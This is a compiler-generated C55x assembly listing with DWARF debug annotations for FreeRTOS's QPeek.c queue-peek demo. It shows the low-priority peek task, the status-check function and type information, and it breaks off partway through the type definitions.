;******************************************************************************* ;* FUNCTION NAME: prvLowPriorityPeekTask * ;* * ;* Function Uses Regs : AC0,AC0,T0,T2,T3,AR0,XAR0,AR1,XAR1,AR3,XAR3,AR5,AR6, * ;* SP,TC1,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Save On Entry Regs : T2,T3,AR5,AR6 * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 12 words * ;* (2 return address/alignment) * ;* (6 local values) * ;* (4 register save area) * ;* Min System Stack : 3 words * ;******************************************************************************* _prvLowPriorityPeekTask: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 PSH T2 .dwcfi cfa_offset, 2 .dwcfi save_reg_to_mem, 14, -2 PSH T3 .dwcfi cfa_offset, 3 .dwcfi save_reg_to_mem, 15, -3 PSHBOTH XAR5 .dwcfi cfa_offset, 4 .dwcfi save_reg_to_mem, 26, -4 PSHBOTH XAR6 .dwcfi cfa_offset, 5 .dwcfi save_reg_to_mem, 28, -5 AADD #-7, SP .dwcfi cfa_offset, 12 $C$DW$125 .dwtag DW_TAG_variable, DW_AT_name("pvParameters") .dwattr $C$DW$125, DW_AT_TI_symbol_name("_pvParameters") .dwattr $C$DW$125, DW_AT_type(*$C$DW$T$3) .dwattr $C$DW$125, DW_AT_location[DW_OP_bregx 0x24 0] $C$DW$126 .dwtag DW_TAG_variable, DW_AT_name("xQueue") .dwattr $C$DW$126, DW_AT_TI_symbol_name("_xQueue") .dwattr $C$DW$126, DW_AT_type(*$C$DW$T$22) .dwattr $C$DW$126, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$127 .dwtag DW_TAG_variable, DW_AT_name("ulValue") .dwattr $C$DW$127, DW_AT_TI_symbol_name("_ulValue") .dwattr $C$DW$127, DW_AT_type(*$C$DW$T$68) .dwattr $C$DW$127, DW_AT_location[DW_OP_bregx 0x24 4] MOV XAR0, dbl(*SP(#0)) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 316,column 15,is_stmt MOV #1, AR5 MOV #1, AR6 || MOV #1, T3 MOV dbl(*SP(#0)), XAR3 MOV XAR3, dbl(*SP(#2)) || MOV #1, T2 $C$L23: $C$DW$L$_prvLowPriorityPeekTask$2$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 323,column 3,is_stmt MOV #4386 << #16, AC0 ; |323| OR #0x3344, AC0, AC0 ; |323| MOV AC0, dbl(*SP(#4)) ; |323| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 324,column 3,is_stmt MOV #0, T0 || AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 $C$DW$128 .dwtag DW_TAG_TI_branch .dwattr $C$DW$128, DW_AT_low_pc(0x00) .dwattr $C$DW$128, DW_AT_name("_xQueueGenericSend") .dwattr $C$DW$128, DW_AT_TI_call CALL #_xQueueGenericSend ; |324| || MOV #0, AC0 ; |324| ; call occurs [#_xQueueGenericSend] ; |324| CMP T0 == AR6, TC1 ; |324| BCC $C$L24,TC1 ; |324| ; branchcc occurs ; |324| $C$DW$L$_prvLowPriorityPeekTask$2$E: $C$DW$L$_prvLowPriorityPeekTask$3$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 328,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |328| $C$DW$L$_prvLowPriorityPeekTask$3$E: $C$L24: $C$DW$L$_prvLowPriorityPeekTask$4$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 337,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 $C$DW$129 .dwtag DW_TAG_TI_branch .dwattr $C$DW$129, DW_AT_low_pc(0x00) .dwattr $C$DW$129, DW_AT_name("_uxQueueMessagesWaiting") .dwattr $C$DW$129, DW_AT_TI_call CALL #_uxQueueMessagesWaiting ; |337| ; call occurs [#_uxQueueMessagesWaiting] ; |337| BCC $C$L25,T0 == #0 ; |337| ; branchcc occurs ; |337| $C$DW$L$_prvLowPriorityPeekTask$4$E: $C$DW$L$_prvLowPriorityPeekTask$5$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 339,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |339| $C$DW$L$_prvLowPriorityPeekTask$5$E: $C$L25: $C$DW$L$_prvLowPriorityPeekTask$6$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 344,column 3,is_stmt MOV #291 << #16, AC0 ; |344| OR #0x4567, AC0, AC0 ; |344| MOV AC0, dbl(*SP(#4)) ; |344| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 345,column 3,is_stmt MOV #0, T0 || AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 $C$DW$130 .dwtag DW_TAG_TI_branch .dwattr $C$DW$130, DW_AT_low_pc(0x00) .dwattr $C$DW$130, DW_AT_name("_xQueueGenericSend") .dwattr $C$DW$130, DW_AT_TI_call CALL #_xQueueGenericSend ; |345| || MOV #0, AC0 ; |345| ; call occurs [#_xQueueGenericSend] ; |345| CMP T0 == AR5, TC1 ; |345| BCC $C$L26,TC1 ; |345| ; branchcc occurs ; |345| $C$DW$L$_prvLowPriorityPeekTask$6$E: $C$DW$L$_prvLowPriorityPeekTask$7$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 349,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |349| $C$DW$L$_prvLowPriorityPeekTask$7$E: $C$L26: $C$DW$L$_prvLowPriorityPeekTask$8$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 358,column 3,is_stmt MOV #0, AC0 ; |358| MOV AC0, dbl(*SP(#4)) ; |358| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 359,column 3,is_stmt AMAR *SP(#4), XAR1 MOV dbl(*SP(#2)), XAR0 $C$DW$131 .dwtag DW_TAG_TI_branch .dwattr $C$DW$131, DW_AT_low_pc(0x00) .dwattr $C$DW$131, DW_AT_name("_xQueueReceive") .dwattr $C$DW$131, DW_AT_TI_call CALL #_xQueueReceive ; |359| ; call occurs [#_xQueueReceive] ; |359| CMP T0 == T3, TC1 ; |359| BCC $C$L27,TC1 ; |359| ; branchcc occurs ; |359| $C$DW$L$_prvLowPriorityPeekTask$8$E: $C$DW$L$_prvLowPriorityPeekTask$9$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 362,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |362| $C$DW$L$_prvLowPriorityPeekTask$9$E: $C$L27: $C$DW$L$_prvLowPriorityPeekTask$10$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 365,column 3,is_stmt .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 372,column 3,is_stmt $C$DW$132 .dwtag DW_TAG_TI_branch .dwattr $C$DW$132, DW_AT_low_pc(0x00) .dwattr $C$DW$132, DW_AT_name("_vTaskDelay") .dwattr $C$DW$132, DW_AT_TI_call CALL #_vTaskDelay ; |372| || MOV #10, AC0 ; |372| ; call occurs [#_vTaskDelay] ; |372| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 379,column 3,is_stmt MOV dbl(*(#_xMediumPriorityTask)), XAR0 $C$DW$133 .dwtag DW_TAG_TI_branch .dwattr $C$DW$133, DW_AT_low_pc(0x00) .dwattr $C$DW$133, DW_AT_name("_vTaskResume") .dwattr $C$DW$133, DW_AT_TI_call CALL #_vTaskResume ; |379| ; call occurs [#_vTaskResume] ; |379| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 380,column 3,is_stmt MOV dbl(*(#_xHighPriorityTask)), XAR0 $C$DW$134 .dwtag DW_TAG_TI_branch .dwattr $C$DW$134, DW_AT_low_pc(0x00) .dwattr $C$DW$134, DW_AT_name("_vTaskResume") .dwattr $C$DW$134, DW_AT_TI_call CALL #_vTaskResume ; |380| ; call occurs [#_vTaskResume] ; |380| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 381,column 3,is_stmt MOV dbl(*(#_xHighestPriorityTask)), XAR0 $C$DW$135 .dwtag DW_TAG_TI_branch .dwattr $C$DW$135, DW_AT_low_pc(0x00) .dwattr $C$DW$135, DW_AT_name("_vTaskResume") .dwattr $C$DW$135, DW_AT_TI_call CALL #_vTaskResume ; |381| ; call occurs [#_vTaskResume] ; |381| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 387,column 3,is_stmt MOV #-21829 << #16, AC0 ; |387| OR #0xaabb, AC0, AC0 ; |387| MOV AC0, dbl(*SP(#4)) ; |387| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 388,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 || MOV #0, AC0 ; |388| $C$DW$136 .dwtag DW_TAG_TI_branch .dwattr $C$DW$136, DW_AT_low_pc(0x00) .dwattr $C$DW$136, DW_AT_name("_xQueueGenericSend") .dwattr $C$DW$136, DW_AT_TI_call CALL #_xQueueGenericSend ; |388| || MOV #1, T0 ; call occurs [#_xQueueGenericSend] ; |388| CMP T0 == T2, TC1 ; |388| BCC $C$L28,TC1 ; |388| ; branchcc occurs ; |388| $C$DW$L$_prvLowPriorityPeekTask$10$E: $C$DW$L$_prvLowPriorityPeekTask$11$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 392,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |392| $C$DW$L$_prvLowPriorityPeekTask$11$E: $C$L28: $C$DW$L$_prvLowPriorityPeekTask$12$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 401,column 3,is_stmt MOV dbl(*SP(#2)), XAR0 AMAR *SP(#4), XAR1 $C$DW$137 .dwtag DW_TAG_TI_branch .dwattr $C$DW$137, DW_AT_low_pc(0x00) .dwattr $C$DW$137, DW_AT_name("_xQueuePeek") .dwattr $C$DW$137, DW_AT_TI_call CALL #_xQueuePeek ; |401| || MOV #0, AC0 ; |401| ; call occurs [#_xQueuePeek] ; |401| BCC $C$L29,T0 == #0 ; |401| ; branchcc occurs ; |401| $C$DW$L$_prvLowPriorityPeekTask$12$E: $C$DW$L$_prvLowPriorityPeekTask$13$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 404,column 4,is_stmt MOV #1, *(#_xErrorDetected) ; |404| $C$DW$L$_prvLowPriorityPeekTask$13$E: $C$L29: $C$DW$L$_prvLowPriorityPeekTask$14$B: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 410,column 3,is_stmt MOV dbl(*(#_xHighPriorityTask)), XAR0 $C$DW$138 .dwtag DW_TAG_TI_branch .dwattr $C$DW$138, DW_AT_low_pc(0x00) .dwattr $C$DW$138, DW_AT_name("_vTaskResume") .dwattr $C$DW$138, DW_AT_TI_call CALL #_vTaskResume ; |410| ; call occurs [#_vTaskResume] ; |410| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 411,column 3,is_stmt MOV dbl(*(#_xHighestPriorityTask)), XAR0 $C$DW$139 .dwtag DW_TAG_TI_branch .dwattr $C$DW$139, DW_AT_low_pc(0x00) .dwattr $C$DW$139, DW_AT_name("_vTaskResume") .dwattr $C$DW$139, DW_AT_TI_call CALL #_vTaskResume ; |411| ; call occurs [#_vTaskResume] ; |411| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 415,column 3,is_stmt $C$DW$140 .dwtag DW_TAG_TI_branch .dwattr $C$DW$140, DW_AT_low_pc(0x00) .dwattr $C$DW$140, DW_AT_name("_vTaskDelay") .dwattr $C$DW$140, DW_AT_TI_call CALL #_vTaskDelay ; |415| || MOV #10, AC0 ; |415| ; call occurs [#_vTaskDelay] ; |415| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 416,column 2,is_stmt B $C$L23 ; |416| ; branch occurs ; |416| $C$DW$L$_prvLowPriorityPeekTask$14$E: .dwcfi cfa_offset, 5 .dwcfi restore_reg, 28 .dwcfi cfa_offset, 4 .dwcfi restore_reg, 26 .dwcfi cfa_offset, 3 .dwcfi restore_reg, 15 .dwcfi cfa_offset, 2 .dwcfi restore_reg, 14 .dwcfi cfa_offset, 1 $C$DW$141 .dwtag DW_TAG_TI_loop .dwattr $C$DW$141, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\QPeek.asm:$C$L23:1:1538833122") .dwattr $C$DW$141, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$141, DW_AT_TI_begin_line(0x13f) .dwattr $C$DW$141, DW_AT_TI_end_line(0x1a0) $C$DW$142 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$142, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$2$B) .dwattr $C$DW$142, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$2$E) $C$DW$143 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$143, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$3$B) .dwattr $C$DW$143, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$3$E) $C$DW$144 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$144, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$4$B) .dwattr $C$DW$144, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$4$E) $C$DW$145 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$145, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$5$B) .dwattr $C$DW$145, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$5$E) $C$DW$146 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$146, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$6$B) .dwattr $C$DW$146, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$6$E) $C$DW$147 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$147, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$7$B) .dwattr $C$DW$147, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$7$E) $C$DW$148 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$148, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$8$B) .dwattr $C$DW$148, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$8$E) $C$DW$149 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$149, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$9$B) .dwattr $C$DW$149, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$9$E) $C$DW$150 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$150, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$10$B) .dwattr $C$DW$150, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$10$E) $C$DW$151 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$151, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$11$B) .dwattr $C$DW$151, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$11$E) $C$DW$152 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$152, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$12$B) .dwattr $C$DW$152, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$12$E) $C$DW$153 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$153, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$13$B) .dwattr $C$DW$153, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$13$E) $C$DW$154 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$154, DW_AT_low_pc($C$DW$L$_prvLowPriorityPeekTask$14$B) .dwattr $C$DW$154, DW_AT_high_pc($C$DW$L$_prvLowPriorityPeekTask$14$E) .dwendtag $C$DW$141 .dwattr $C$DW$123, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$123, DW_AT_TI_end_line(0x1a1) .dwattr $C$DW$123, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$123 .sect ".text" .align 4 .global _xAreQueuePeekTasksStillRunning $C$DW$155 .dwtag DW_TAG_subprogram, DW_AT_name("xAreQueuePeekTasksStillRunning") .dwattr $C$DW$155, DW_AT_low_pc(_xAreQueuePeekTasksStillRunning) .dwattr $C$DW$155, DW_AT_high_pc(0x00) .dwattr $C$DW$155, DW_AT_TI_symbol_name("_xAreQueuePeekTasksStillRunning") .dwattr $C$DW$155, DW_AT_external .dwattr $C$DW$155, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$155, DW_AT_TI_begin_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$155, DW_AT_TI_begin_line(0x1a5) .dwattr $C$DW$155, DW_AT_TI_begin_column(0x0c) .dwattr $C$DW$155, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 422,column 1,is_stmt,address _xAreQueuePeekTasksStillRunning .dwfde $C$DW$CIE, _xAreQueuePeekTasksStillRunning $C$DW$156 .dwtag DW_TAG_variable, DW_AT_name("ulLastLoopCounter") .dwattr $C$DW$156, DW_AT_TI_symbol_name("_ulLastLoopCounter$1") .dwattr $C$DW$156, DW_AT_type(*$C$DW$T$68) .dwattr $C$DW$156, DW_AT_location[DW_OP_addr _ulLastLoopCounter$1] ;******************************************************************************* ;* FUNCTION NAME: xAreQueuePeekTasksStillRunning * ;* * ;* Function Uses Regs : AC0,AC0,AC1,AC1,T0,AR1,AR2,SP,TC1,M40,SATA,SATD,RDM, * ;* FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _xAreQueuePeekTasksStillRunning: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 427,column 2,is_stmt MOV dbl(*(#_ulLoopCounter)), AC0 ; |427| MOV dbl(*(#_ulLastLoopCounter$1)), AC1 ; |427| CMPU AC1 != AC0, TC1 ; |427| BCC $C$L30,TC1 ; |427| ; branchcc occurs ; |427| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 429,column 3,is_stmt MOV #1, *(#_xErrorDetected) ; |429| $C$L30: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 432,column 2,is_stmt MOV dbl(*(#_ulLoopCounter)), AC0 ; |432| MOV AC0, dbl(*(#_ulLastLoopCounter$1)) ; |432| .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 437,column 2,is_stmt MOV #0, T0 || MOV #0, AR1 MOV *(#_xErrorDetected), AR2 ; |437| BCC $C$L31,AR2 == #0 ; |437| ; branchcc occurs ; |437| MOV #1, AR1 $C$L31: BCC $C$L32,AR1 != #0 ; |437| ; branchcc occurs ; |437| MOV #1, T0 $C$L32: .dwpsn file "../FreeRTOS/Demo/Common/Minimal/QPeek.c",line 438,column 1,is_stmt $C$DW$157 .dwtag DW_TAG_TI_branch .dwattr $C$DW$157, DW_AT_low_pc(0x00) .dwattr $C$DW$157, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$155, DW_AT_TI_end_file("../FreeRTOS/Demo/Common/Minimal/QPeek.c") .dwattr $C$DW$155, DW_AT_TI_end_line(0x1b6) .dwattr $C$DW$155, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$155 ;******************************************************************************* ;* FAR STRINGS * ;******************************************************************************* .sect ".const:.string" .align 2 $C$FSL1: .string "QPeek_Test_Queue",0 .align 2 $C$FSL2: .string "PeekL",0 .align 2 $C$FSL3: .string "PeekM",0 .align 2 $C$FSL4: .string "PeekH1",0 .align 2 $C$FSL5: .string "PeekH2",0 ;****************************************************************************** ;* UNDEFINED EXTERNAL REFERENCES * ;****************************************************************************** .global _xTaskCreate .global _vTaskDelay .global _vTaskSuspend .global _vTaskResume .global _xQueueGenericSend .global _xQueuePeek .global _xQueueReceive .global _uxQueueMessagesWaiting .global _vQueueAddToRegistry .global _xQueueGenericCreate ;******************************************************************************* ;* TYPE INFORMATION * ;******************************************************************************* $C$DW$T$19 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$19, DW_AT_name("QueueDefinition") .dwattr $C$DW$T$19, DW_AT_declaration .dwendtag $C$DW$T$19 $C$DW$T$21 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$21, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$T$21, DW_AT_address_class(0x17) $C$DW$T$22 .dwtag DW_TAG_typedef, DW_AT_name("QueueHandle_t") .dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$21) .dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C) $C$DW$158 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$158, DW_AT_type(*$C$DW$T$22) $C$DW$T$23 .dwtag DW_TAG_const_type .dwattr $C$DW$T$23, DW_AT_type(*$C$DW$158) $C$DW$T$3 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$3, DW_AT_address_class(0x17) $C$DW$159 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$159, DW_AT_type(*$C$DW$T$3) $C$DW$T$30 .dwtag DW_TAG_const_type .dwattr $C$DW$T$30, DW_AT_type(*$C$DW$159) $C$DW$T$31 .dwtag DW_TAG_subroutine_type .dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C) $C$DW$160 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$160, DW_AT_type(*$C$DW$T$3) .dwendtag $C$DW$T$31 $C$DW$T$32 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$32, DW_AT_type(*$C$DW$T$31) .dwattr $C$DW$T$32, DW_AT_address_class(0x20) $C$DW$T$33 .dwtag DW_TAG_typedef, DW_AT_name("TaskFunction_t") .dwattr $C$DW$T$33, DW_AT_type(*$C$DW$T$32) .dwattr $C$DW$T$33, DW_AT_language(DW_LANG_C) $C$DW$161 .dwtag DW_TAG_TI_far_type $C$DW$T$42 .dwtag DW_TAG_const_type .dwattr $C$DW$T$42, DW_AT_type(*$C$DW$161) $C$DW$T$43 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$43, DW_AT_type(*$C$DW$T$42) .dwattr $C$DW$T$43, DW_AT_address_class(0x17) $C$DW$162 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$162, DW_AT_type(*$C$DW$T$43) $C$DW$T$44 .dwtag DW_TAG_const_type .dwattr $C$DW$T$44, DW_AT_type(*$C$DW$162) $C$DW$T$4 .dwtag DW_TAG_base_type .dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean) .dwattr $C$DW$T$4, DW_AT_name("bool") .dwattr $C$DW$T$4, DW_AT_byte_size(0x01) $C$DW$T$5 .dwtag DW_TAG_base_type .dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$5, DW_AT_name("signed char") .dwattr $C$DW$T$5, DW_AT_byte_size(0x01) $C$DW$T$6 .dwtag DW_TAG_base_type .dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char) .dwattr $C$DW$T$6, DW_AT_name("unsigned char") .dwattr $C$DW$T$6, DW_AT_byte_size(0x01) $C$DW$T$26 .dwtag DW_TAG_typedef, DW_AT_name("uint8_t") .dwattr $C$DW$T$26, DW_AT_type(*$C$DW$T$6) .dwattr $C$DW$T$26, DW_AT_language(DW_LANG_C) $C$DW$163 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$163, DW_AT_type(*$C$DW$T$26) $C$DW$T$27 .dwtag DW_TAG_const_type .dwattr $C$DW$T$27, DW_AT_type(*$C$DW$163) $C$DW$T$7 .dwtag DW_TAG_base_type .dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$7, DW_AT_name("wchar_t") .dwattr $C$DW$T$7, DW_AT_byte_size(0x01) $C$DW$T$8 .dwtag DW_TAG_base_type .dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$8, DW_AT_name("short") .dwattr $C$DW$T$8, DW_AT_byte_size(0x01) $C$DW$T$51 .dwtag DW_TAG_typedef, DW_AT_name("BaseType_t") .dwattr $C$DW$T$51, DW_AT_type(*$C$DW$T$8) .dwattr $C$DW$T$51, DW_AT_language(DW_LANG_C) $C$DW$164 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$164, DW_AT_type(*$C$DW$T$51) $C$DW$T$52 .dwtag DW_TAG_const_type .dwattr $C$DW$T$52, DW_AT_type(*$C$DW$164) $C$DW$165 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$165, DW_AT_type(*$C$DW$T$51) $C$DW$T$53 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$53, DW_AT_type(*$C$DW$165) $C$DW$T$9 .dwtag DW_TAG_base_type .dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$9, DW_AT_name("unsigned short") .dwattr $C$DW$T$9, DW_AT_byte_size(0x01) $C$DW$T$24 .dwtag DW_TAG_typedef, DW_AT_name("UBaseType_t") .dwattr $C$DW$T$24, DW_AT_type(*$C$DW$T$9) .dwattr $C$DW$T$24, DW_AT_language(DW_LANG_C) $C$DW$166 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$166, DW_AT_type(*$C$DW$T$24) $C$DW$T$25 .dwtag DW_TAG_const_type .dwattr $C$DW$T$25, DW_AT_type(*$C$DW$166) $C$DW$T$10 .dwtag DW_TAG_base_type .dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$10, DW_AT_name("int") .dwattr $C$DW$T$10, DW_AT_byte_size(0x01) $C$DW$T$11 .dwtag DW_TAG_base_type .dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$11, DW_AT_name("unsigned int") .dwattr $C$DW$T$11, DW_AT_byte_size(0x01) $C$DW$T$55 .dwtag DW_TAG_typedef, DW_AT_name("uint16_t") .dwattr $C$DW$T$55, DW_AT_type(*$C$DW$T$11) .dwattr $C$DW$T$55, DW_AT_language(DW_LANG_C) $C$DW$167 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$167, DW_AT_type(*$C$DW$T$55) $C$DW$T$56 .dwtag DW_TAG_const_type .dwattr $C$DW$T$56, DW_AT_type(*$C$DW$167) $C$DW$T$12 .dwtag DW_TAG_base_type .dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$12, DW_AT_name("long") .dwattr $C$DW$T$12, DW_AT_byte_size(0x02) $C$DW$T$13 .dwtag DW_TAG_base_type .dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$13, DW_AT_name("unsigned long") .dwattr $C$DW$T$13, DW_AT_byte_size(0x02) $C$DW$T$34 .dwtag DW_TAG_typedef, DW_AT_name("TickType_t") .dwattr $C$DW$T$34, DW_AT_type(*$C$DW$T$13) .dwattr $C$DW$T$34, DW_AT_language(DW_LANG_C) $C$DW$168 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$168, DW_AT_type(*$C$DW$T$34) $C$DW$T$35 .dwtag DW_TAG_const_type .dwattr $C$DW$T$35, DW_AT_type(*$C$DW$168) $C$DW$T$68 .dwtag DW_TAG_typedef, DW_AT_name("uint32_t") .dwattr $C$DW$T$68, DW_AT_type(*$C$DW$T$13) .dwattr $C$DW$T$68, DW_AT_language(DW_LANG_C) $C$DW$169 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$169, DW_AT_type(*$C$DW$T$68) $C$DW$T$70 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$70, DW_AT_type(*$C$DW$169) $C$DW$T$14 .dwtag DW_TAG_base_type .dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$14, DW_AT_name("long long") .dwattr $C$DW$T$14, DW_AT_byte_size(0x04) .dwattr $C$DW$T$14, DW_AT_bit_size(0x28) .dwattr $C$DW$T$14, DW_AT_bit_offset(0x18) $C$DW$T$15 .dwtag DW_TAG_base_type .dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$15, DW_AT_name("unsigned long long") .dwattr $C$DW$T$15, DW_AT_byte_size(0x04) .dwattr $C$DW$T$15, DW_AT_bit_size(0x28) .dwattr $C$DW$T$15, DW_AT_bit_offset(0x18) $C$DW$T$16 .dwtag DW_TAG_base_type .dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$16, DW_AT_name("float") .dwattr $C$DW$T$16, DW_AT_byte_size(0x02) $C$DW$T$17 .dwtag DW_TAG_base_type .dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$17, DW_AT_name("double") .dwattr $C$DW$T$17, DW_AT_byte_size(0x02) $C$DW$T$18 .dwtag DW_TAG_base_type .dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$18, DW_AT_name("long double") .dwattr $C$DW$T$18, DW_AT_byte_size(0x02) $C$DW$T$45 .dwtag DW_TAG_base_type .dwattr $C$DW$T$45, DW_AT_encoding(DW_ATE_signed_char) 